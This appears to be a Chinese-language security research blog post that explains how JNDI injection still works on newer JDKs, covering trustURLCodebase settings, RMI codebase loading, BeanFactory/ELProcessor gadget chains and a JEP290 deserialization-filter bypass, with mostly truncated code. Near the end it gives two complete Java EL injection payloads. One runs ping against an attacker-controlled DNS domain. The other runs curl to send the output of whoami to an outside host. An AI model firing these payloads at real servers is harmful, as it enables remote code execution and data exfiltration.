绕过高版本jdk限制进行jndi注入利用
JDK 6u141, JDK 7u131, JDK 8u121 之前
0x01 关于JNDI Naming Reference的限制
JDK 7u21开始,java.rmi.server.useCodebaseOnly 默认值就为true,防止RMI客户端VM从其他Codebase地址上动态加载类。然而JNDI注入中的Reference Payload并不受useCodebaseOnly影响,因为它没有用到 RMI Class loading,它最终是通过URLClassLoader加载的远程类。
NamingManager.java(1.8.221)
1 | static ObjectFactory getObjectFactoryFromReference( |
代码中会先尝试在本地CLASSPATH中加载类clas = helper.loadClass(factoryName);
不行再从Codebase中加载clas = helper.loadClass(factoryName, codebase);
Codebase的值是通过ref.getFactoryClassLocation()获得。
1、我们先进从本地获取的方法,这里的helper是VersionHelper12类,跟进getContextClassLoader方法,最后是通过Thread.currentThread().getContextClassLoader
方法返回loader对象Launcher$AppClassLoader
这个静态内部类是继承URLClassloader的。
2、 第二种是远程加载的方式 就是第二行代码
也就是本地ClassLoader找不到这个类,最后通过 VersionHelper12.loadClass() 中 URLClassLoader 加载了远程class。本地不存在这个类,从codebase中获取。所以java.rmi.server.useCodebaseOnly不会限制JNDI Reference的利用,有影响的是高版本JDK中的这几个系统属性:
- com.sun.jndi.rmi.object.trustURLCodebase
- com.sun.jndi.cosnaming.object.trustURLCodebase
- com.sun.jndi.ldap.object.trustURLCodebase
0x02 关于codebase
Oracle官方关于Codebase的说明:https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html
Codebase指定了Java程序在网络上远程加载类的路径。RMI机制中交互的数据是序列化形式传输的,但是传输的只是对象的数据内容,RMI本身并不会传递类的代码。当本地没有该对象的类定义时,RMI提供了一些方法可以远程加载类,也就是RMI动态加载类的特性。
当对象发送序列化数据时,会在序列化流中附加上Codebase的信息,这个信息告诉接收方到什么地方寻找该对象的执行代码。Codebase实际上是一个URL表,该URL上存放了接收方需要的类文件。在大多数情况下,你可以在命令行上通过属性 java.rmi.server.codebase 来设置Codebase。
例如,如果所需的类文件在Webserver的根目录下,那么设置Codebase的命令行参数如下(如果你把类文件打包成了jar,那么设置Codebase时需要指定这个jar文件):
1 | -Djava.rmi.server.codebase=http://url:8080/ |
当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件,如果你传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件:
1 | http://url:8080/com/project/test.class |
我做了如下的测试 观看使用marshalsec-0.0.3-SNAPSHOT-all.jar
这个jar包,在javax.naming.spi.NamingManager#getObjectFactoryFromReference
这个方法的时候,ref参数的情况,第一张是使用jar包的。
第二张使用如下代码:
1 | public class EvilRMIServer { |
可以看到,使用marshalsec-0.0.3-SNAPSHOT-all.jar
是随便申明了一个ref类并且制定了basecode(classFactoryLocation字段)。
会在这里执BeanFactory的方法。
气炸了 最后发现只能传一个参数进去。invoke传入的数组只有一个参数,还是String类型的。
所以断了juel包的构造链,只能传入ELProcess来执行代码。后来我为了将这个服务放在公网,必须知道和实现的方法:在启动服务器的时候,实际上需要运行两个服务器,也可以理解为开启两个端口:
- 一个是远程对象本身;也就是数据端口
- 一个是允许客户端下载远程对象引用的注册表;也就是服务端口 默认1099
所以再加上随机数,代码如下,很烂:
1 | import com.sun.jndi.rmi.registry.ReferenceWrapper; |
1 | import java.rmi.server.*; |
讲个小插曲:
1 | "\"\".getClass()一般都是这样去获取类的 但是有个别的方式 |
0x03 特地去找了一下jdbc jep290的绕过
废话不多说直接上链
1 | readObject:424, ObjectInputStream (java.io) |
其实主要是在这个方法进入的,不像普通的bind,rebind操作(在远程引用层中客户端服务端两个交互的类分别是RegistryImpl_Stub
和RegistryImpl_Skel
,在服务端的RegistryImpl_Skel
类中,向注册中心进行bind、rebind操作时均进行了readObject操作以此拿到Remote远程对象引用)这个是在准备decodeObject的时候,对远程对象进行一个获取的操作,才有了接下来的java.io.ObjectInputStream#readObject
jep290的绕过:
1 | serialFilter = ObjectInputFilter.Config.getSerialFilter(); |
這個其實就是大名鼎鼎的 JEP290 防禦機制
想绕过:
加载目标类:
Class.forName Classloader.loadClass
与ClassLoader.loadClass() 一个小小的区别是,forName() 默认会对类进行初始化,会执行类中的 static 代码块。而ClassLoader.loadClass() 默认并不会对类进行初始化,只是把类加载到了 JVM 虚拟机中。
我们执行如下测试代码:
先了解Java 中创建对象的方法大概有下面这七种:
- 使用 new 关键字
- Class 类的 newInstance() 方法
- Constructor 类的 newInstance() 方法
- Object 对象的 clone 方法
- 反序列化创建对象
- 使用 Unsafe 类创建对象
- 通过工厂方法返回对象,如:String str = String.valueOf(23);
1 | {""["class"].forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var x=new java.lang.ProcessBuilder;x.command(['cmd.exe','/c','ping "+ "2"+ ss +".sec.v1rus.top']);x.start()")} |
1 | #{"1".getClass ().getClass ().getMethods()[0].invoke("".getClass (), "javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','curl http://192.168.*.*/`whoami`']).start()")} |